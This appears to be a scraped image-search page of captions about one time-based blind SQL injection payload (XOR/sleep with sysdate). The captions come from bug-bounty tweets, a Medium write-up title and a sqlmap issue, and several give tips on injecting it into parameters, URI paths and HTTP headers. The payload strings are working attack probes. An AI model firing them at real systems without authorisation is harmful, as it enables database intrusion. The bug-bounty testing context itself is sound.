![I Earned $3500 and 40 Points for A GraphQL Blind SQL Injection Vulnerability. | by nav1n馃崶 | Mar, 2023 | Medium I Earned $3500 and 40 Points for A GraphQL Blind SQL Injection Vulnerability. | by nav1n馃崶 | Mar, 2023 | Medium](https://miro.medium.com/v2/resize:fit:1400/1*u76JHqtNdp3NIg6umaFAXA.png)
I Earned $3500 and 40 Points for A GraphQL Blind SQL Injection Vulnerability. | by nav1n馃崶 | Mar, 2023 | Medium
![Hammad 馃嚨馃嚢 on Twitter: "Found another SQLi on @Bugcrowd 's private program #ItTakesACrowd #BugBounty #bugbountytips #bugbountytip Tip: Use this payload 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z In the value of every parameter and check if response ... Hammad 馃嚨馃嚢 on Twitter: "Found another SQLi on @Bugcrowd 's private program #ItTakesACrowd #BugBounty #bugbountytips #bugbountytip Tip: Use this payload 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z In the value of every parameter and check if response ...](https://pbs.twimg.com/media/FrxG3NyX0AIrMAQ.png)
Hammad 馃嚨馃嚢 on Twitter: "Found another SQLi on @Bugcrowd 's private program #ItTakesACrowd #BugBounty #bugbountytips #bugbountytip Tip: Use this payload 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z In the value of every parameter and check if response ...
![TeCompro Resultados de b煤squeda para: '0"XOR(if(now()=sysdate(),sleep(15), 0))XOR"Z%'+AND+2*3*8=6*8+AND+'syyK'!='syyK%' TeCompro TeCompro Resultados de b煤squeda para: '0"XOR(if(now()=sysdate(),sleep(15), 0))XOR"Z%'+AND+2*3*8=6*8+AND+'syyK'!='syyK%' TeCompro](https://tecompro.com.co/pub/media/catalog/product/cache/a05061bac3bc855cd748d264d779afb0/c/a/captura_de_pantalla_2022-01-19_a_la_s_10.29.18_a._m..png)
TeCompro Resultados de b煤squeda para: '0"XOR(if(now()=sysdate(),sleep(15), 0))XOR"Z%'+AND+2*3*8=6*8+AND+'syyK'!='syyK%' TeCompro
Test Payload: 'XOR(if(now()=sysdate(),sleep(10),0))OR' 路 Issue #4091 路 sqlmapproject/sqlmap 路 GitHub
![Jawad on Twitter: "Detect Blind SQL INJECTION with these payloads 0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z%20=%3E 0'XOR(if(now()=sysdate(), sleep(3),0))XOR'Z '%20WAITFOR Jawad on Twitter: "Detect Blind SQL INJECTION with these payloads 0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z%20=%3E 0'XOR(if(now()=sysdate(), sleep(3),0))XOR'Z '%20WAITFOR](https://pbs.twimg.com/media/EwTKDtIUcAA67nC.png)
Jawad on Twitter: "Detect Blind SQL INJECTION with these payloads 0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z%20=%3E 0'XOR(if(now()=sysdate(), sleep(3),0))XOR'Z '%20WAITFOR
![TeCompro Resultados de b煤squeda para: '0"XOR(if(now()=sysdate(),sleep(15), 0))XOR"Z%'+AND+2*3*8=6*8+AND+'syyK'!='syyK%' TeCompro TeCompro Resultados de b煤squeda para: '0"XOR(if(now()=sysdate(),sleep(15), 0))XOR"Z%'+AND+2*3*8=6*8+AND+'syyK'!='syyK%' TeCompro](https://tecompro.com.co/pub/media/catalog/product/cache/a05061bac3bc855cd748d264d779afb0/c/a/captura_de_pantalla_2022-01-19_a_la_s_8.47.08_a._m..png)
TeCompro Resultados de b煤squeda para: '0"XOR(if(now()=sysdate(),sleep(15), 0))XOR"Z%'+AND+2*3*8=6*8+AND+'syyK'!='syyK%' TeCompro
![N$ 馃崶 on Twitter: "Found an SQLi using sysdate() based blind SQLi payload: 0 'XOR(if(now()=sysdate(),sleep(20),0))XOR'Z #SqlInjection #SQLi #bugbountytips #BugBounty https://t.co/uKgtPg8gRk" / Twitter N$ 馃崶 on Twitter: "Found an SQLi using sysdate() based blind SQLi payload: 0 'XOR(if(now()=sysdate(),sleep(20),0))XOR'Z #SqlInjection #SQLi #bugbountytips #BugBounty https://t.co/uKgtPg8gRk" / Twitter](https://pbs.twimg.com/media/Fbeg5UaWQAAOmRv.png)
N$ 馃崶 on Twitter: "Found an SQLi using sysdate() based blind SQLi payload: 0 'XOR(if(now()=sysdate(),sleep(20),0))XOR'Z #SqlInjection #SQLi #bugbountytips #BugBounty https://t.co/uKgtPg8gRk" / Twitter
![spread love on Twitter: "Time-based SQLi with two payloads injected in the following headers: 1. User-Agent: "XOR(if(now()=sysdate(),sleep(5),0))XOR" 2. X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z Both payloads were executed and the ... spread love on Twitter: "Time-based SQLi with two payloads injected in the following headers: 1. User-Agent: "XOR(if(now()=sysdate(),sleep(5),0))XOR" 2. X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z Both payloads were executed and the ...](https://pbs.twimg.com/media/Fc9JwSrWQAEFYms.png)
spread love on Twitter: "Time-based SQLi with two payloads injected in the following headers: 1. User-Agent: "XOR(if(now()=sysdate(),sleep(5),0))XOR" 2. X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z Both payloads were executed and the ...
Test Payload: 'XOR(if(now()=sysdate(),sleep(10),0))OR' 路 Issue #4091 路 sqlmapproject/sqlmap 路 GitHub
![Hammad 馃嚨馃嚢 on Twitter: "Reported my 3rd P1 on @Bugcrowd Thanks @RelentlessT7 for the fast Triage 馃槏 #ItTakesACrowd https://t.co/PgEt0Es20T Tip: Used this payload /0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z/ in the URI Path. #BugBounty #bugbountytips ... Hammad 馃嚨馃嚢 on Twitter: "Reported my 3rd P1 on @Bugcrowd Thanks @RelentlessT7 for the fast Triage 馃槏 #ItTakesACrowd https://t.co/PgEt0Es20T Tip: Used this payload /0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z/ in the URI Path. #BugBounty #bugbountytips ...](https://pbs.twimg.com/media/FiKHkMXXkAEtqRK.png)